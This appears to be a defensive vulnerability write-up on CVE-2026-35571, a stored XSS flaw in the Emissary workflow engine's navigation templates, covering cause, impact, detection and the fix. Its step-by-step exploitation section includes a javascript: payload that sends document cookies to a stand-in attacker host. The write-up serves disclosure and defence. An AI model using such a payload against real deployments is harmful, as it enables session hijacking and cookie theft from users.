CVE-2026-35571: 
Java vulnerability analysis and mitigation

CVE-2026-35571 is a stored cross-site scripting (XSS) vulnerability in Emissary, a P2P-based data-driven workflow engine developed by the National Security Agency (NSA). The flaw exists in versions up to and including 8.38.0, where Mustache navigation templates interpolate configuration-controlled link values directly into href attributes without URL scheme validation, allowing injection of javascript: URIs. It was published on April 6–7, 2026, and assigned a CVSS v3.1 base score of 4.8 (Medium) (Github Advisory, NSA Emissary Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in nav.mustache where the {{link}} Mustache template variable is rendered directly into an href attribute without URL scheme validation. Mustache's default HTML escaping prevents injection of new HTML tags but does not sanitize javascript: URIs, since the scheme contains no characters altered by HTML escaping. An administrator with access to the navItems configuration can set a navigation link to a javascript: URI (e.g., javascript:alert(document.cookie)), which is then stored and rendered to all authenticated users who view the navigation interface. The fix in PR #1293 added a server-side allowlist regex in NavAction.java restricting links to http://, https://, or site-relative (/) URLs, and added rel="noopener noreferrer" to anchor tags as a defense-in-depth measure (NSA Emissary Advisory, Fix PR #1293).

Successful exploitation enables session hijacking via cookie theft and allows an attacker to perform actions on behalf of victim users within the Emissary web interface. The scope is changed (browser context of other authenticated users), with low confidentiality and low integrity impact and no availability impact. Exploitation is constrained to the Emissary web interface, which is typically accessed only by authenticated operators within a trusted network, limiting broader lateral movement risk (Github Advisory).

No confirmed in-the-wild exploitation has been observed, and no functional exploit code targeting real deployments is publicly available — the GitHub Security Advisory includes only an illustrative payload example to explain the bug mechanism (NSA Emissary Advisory). Exploitation requires high privileges (administrative access to modify navItems configuration) and user interaction (a victim clicking the malicious link), significantly limiting the attack surface. The EPSS score is approximately 0.027–0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Gain administrative access: Obtain credentials or a session for an Emissary administrator account with permissions to modify the navItems navigation configuration.
2. Inject malicious link: Navigate to the navigation configuration interface and set a navigation item's link value to a javascript: URI payload, for example: javascript:fetch('https://attacker.example/steal?c='+document.cookie).
3. Save configuration: Commit the modified navItems configuration so the malicious link is stored server-side and rendered in the navigation template for all users.
4. Wait for victim interaction: When any authenticated user views the Emissary web interface and clicks the poisoned navigation link, the injected JavaScript executes in their browser context.
5. Harvest results: Collect exfiltrated session cookies or perform actions (e.g., API calls) on behalf of the victim user using the attacker-controlled endpoint (NSA Emissary Advisory).

• Logs: Emissary server logs showing NavAction warnings such as Skipping invalid navigation link 'javascript:...' (only present after patching to 8.39.0); administrator audit logs recording unexpected modifications to navItems configuration entries.
• Configuration: Navigation configuration (navItems) entries containing link values with javascript:, data:, vbscript:, or other non-HTTP/relative URI schemes.
• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after interacting with Emissary navigation links, potentially carrying cookie or session data in query parameters.
• Browser/Application: Unexpected JavaScript execution or alert dialogs triggered by clicking navigation links in the Emissary web interface (NSA Emissary Advisory).

Upgrade to Emissary version 8.39.0 or later, which includes server-side URL scheme validation via an allowlist regex in NavAction.java and template hardening in nav.mustache (Fix PR #1293, Github Advisory). If immediate upgrade is not possible, audit all navItems configuration entries to ensure link values use only http://, https://, or relative (/) URL schemes. Additionally, implement a Content Security Policy (CSP) header that disallows javascript: URI execution, and restrict administrative access to the navItems configuration to the minimum number of trusted personnel.